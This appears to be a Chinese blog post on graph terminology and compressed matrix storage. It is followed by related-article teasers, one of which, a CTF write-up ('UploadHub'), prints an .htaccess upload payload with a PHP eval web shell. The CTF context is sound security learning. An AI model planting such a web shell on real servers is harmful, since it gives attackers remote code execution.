图的基本术语——非八股文

devtools/2025/2/5 5:13:41/

        我之前只看到了数据结构算法的冰山一角感觉这些术语只会让知识越来越难理解,现在来看,他们完美抽象一些概念和知识,非常重要。

        本篇概念肯定总结不全,只有遇到的会写上,持续更新,之前文章已经提过的如并查集、最短路径、邻接表等不再重复,这里为补充。


        图形结构中的元素之间存在多对多的联系。

        图形结构中,每一个元素前驱结点可以有多个,后继结点也可以有多个。    

         首先我们肯定都知道图可以分为有向图无向图,它们各自有一些独属于自己的术语和共同的术语,下面这个思维导图帮大家理清一些概念:  


共同术语 

我们先从共同的概念说起 :

  • 完全图:针对有向图无向图,每两个顶点都有一条边(有向图至少 n(n-1) 条边,无向图至少\frac{n(n-1)}{2}条边),如图所示。

  • 稀疏图与稠密图 :根据概念来说,有很少条边或弧(如 e<nlog_2n ,其中e为边的数目,n为顶点的个数)。需要注意的的是,因为这两个概念常用于选择邻接矩阵或邻接表,具体选用要与算法结合。
  • 权和网:权和网可以理解为带权图,在绝大数应用中,每条边应该是带有权重的,权可以表示从一个顶点到另一个顶点的距离、时间或代价等含义。
  • 邻接点:无向图中邻接点是没有方向的,或者称为对称的,假若顶点v 和顶点w 之间存在一条边, 则称顶点v 和w 互为邻接点。在有向图中,邻接点是有方向的,如果存在从顶点到顶点的有向边,那么我们说顶点是顶点的出边邻接点,顶点是顶点的入边邻接点。

无向图

  • 连通:两个顶点有路径。
  • 连通图:任意两个顶点有路径,但不一定都有边。
  • 连通分量:指在无向图中的极大连通子图,如图中的无向非连通图有两个连通分量。

  • 度:顶点v的度是指和v相关联的边的数目;如图中,顶点v的度为3。

有向图

  • 强连通图:任意两个顶点有路径,但不一定都有边。(注意并不一定两个顶点V_iV_j有两条边,只要可以形成环就行。)完全有向图肯定就是强连通图。
  • 强连通分量:有向图中的极大强连通子图称作有向图的强连通分量,如图所示的有向非强连通图有两个强连通分量。

  • 出度和入度:对于有向图,顶点v的度被分为出度和入度,入度是以顶点v为头的的弧数目(箭头指向v),出度就是以顶点v为尾的的弧数目。顶点v的入度为1,出度为2。 

压缩存储

        压缩存储是指在不丢失数据信息的前提下,对数据进行重新编码或组织,以减少数据所占用的存储空间的方法。通过特定的算法数据结构,将原始数据转换为一种更紧凑的表示形式,在需要使用数据时再进行解压缩还原。

        这里主要介绍矩阵的压缩存储。

        对称矩阵

        即a_{i j}=a_{j i},首先我们先回顾一个等差数列的公式:1+2+3+...+n=\frac{n(n+1)}{2}

根据这个公式,我们就可以把一个n维矩阵,用一个一维数组进行存储了。无向图的邻接矩阵就是对称矩阵可用一维数组压缩储存。 

        可以按行主序即下三角存储;或者按列主序即上三角存储。如果我们要找矩阵中位置第i行第j列的元素a_{ij},还是利用上面等差数列公式按行存储和列存储即可搞定。

        三角矩阵

        三角矩阵即只有矩阵的一个三角的数字有意义,对称矩阵就可以理解为三角矩阵,所以三角矩阵的压缩储存与对角矩阵基本一样。

        对角矩阵

        就是只在对角线上存在的元素有意义。 一般分两种方式存储:行序存储和对角线。

        可以将主对角线元素存储在一个一维数组中,通过数组下标与矩阵主对角线元素的对应关系来实现对矩阵元素的访问和操作。例如,对于对角矩阵A的主对角线元素a_{ii},可以存储在一维数组B中,B[i] = a_{ii}

        其它

        另外稀疏矩阵的压缩存储可以用一个三元组表来表示稀疏矩阵中的非0元素。

        稀疏矩阵是指矩阵中绝大多数元素为 0,只有少数非 0 元素的矩阵。为了节省存储空间和提高运算效率,通常采用压缩存储的方式来存储稀疏矩阵,其中一种常见的方法就是用三元组表来表示稀疏矩阵中的非 0 元素。

        三元组表中的每个三元组通常表示为(行标,列标,值),分别记录了稀疏矩阵中每个非 0 元素所在的行、列位置以及该元素的值。通过这种方式,可以只存储稀疏矩阵中的非 0 元素,而不必像常规的二维数组存储方式那样为大量的 0 元素分配存储空间,从而达到压缩存储的目的。例如,对于一个稀疏矩阵:

        可以用三元组表表示为:{(1, 1, 1), (2, 3, 3), (4, 2, 4)}

        除了三元组表,压缩存储稀疏矩阵还可以使用十字链表等其他方法。

参考文献

稠密图与稀疏图判别 - 焓青 - 博客园

数据结构】图的基本概念—无/有向图、权和网、完全图、路径与回路-阿里云开发者社区


http://www.ppmy.cn/devtools/156181.html

相关文章

Linux03——常见的操作命令

root用户以及权限 Linux系统的超级管理员用户是&#xff1a;root用户 su命令 可以切换用户&#xff0c;语法&#xff1a;su [-] [用户名]- 表示切换后加载环境变量&#xff0c;建议带上用户可以省略&#xff0c;省略默认切换到root su命令是用于账户切换的系统命令&#xff…

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程 github地址 https://github.com/xiaoxiaoranxxx/POT-ZHIYUN k8s搭建教程 首先下载代码文件 git clone https://github.com/xiaoxiaoranxxx/POT-ZHIYUN.git cd POT-ZHIYUN编译镜像 代码相关文件在github https://github.com/x…

手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion(代码)

手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion&#xff08;代码&#xff09; 目录 手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion&#xff08;代码&#xff09;Stable Diffusion 原理图Stable Diffusion的原理解释Stable Diffusion 和Di…

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …

【深度学习】DeepSeek模型介绍与部署

原文链接&#xff1a;DeepSeek-V3 1. 介绍 DeepSeek-V3&#xff0c;一个强大的混合专家 (MoE) 语言模型&#xff0c;拥有 671B 总参数&#xff0c;其中每个 token 激活 37B 参数。 为了实现高效推理和成本效益的训练&#xff0c;DeepSeek-V3 采用了多头潜在注意力 (MLA) 和 De…

初阶mysql修炼手册

0.MySQL 在 Centos 7环境安装 0.1 卸载不要的环境 ps ajx |grep mariadb # 先检查是否有 mariadb 存在 systemctl stop mariadb.service # 停⽌ mariadb 服务 ps ajx |grep mariadb # 再 检查是否有 mariadb 存在 0.2 删除多余的安装包 rpm -qa | grep mysql #查看默认安…

360嵌入式开发面试题及参考答案

解释一下 802.11ax 和 802.11ac/n 有什么区别 速度与带宽 802.11n 支持的最高理论速率为 600Mbps,802.11ac 进一步提升,单流最高可达 866.7Mbps,多流情况下能达到更高,如 1.3Gbps 等。而 802.11ax(Wi-Fi 6)引入了更多先进技术,理论最高速率可达 9.6Gbps,相比前两者有大…

WebSocket 实时通信详解:原理、应用与实践

WebSocket 实时通信详解&#xff1a;原理、应用与实践 WebSocket 实时通信详解&#xff1a;原理、应用与实践引言什么是WebSocket&#xff1f;主要特点 WebSocket 工作原理1. 握手过程2. 协议转换3. 数据帧传输 WebSocket 协议与API1. 协议版本2. HTTP头部3. JavaScript API4. …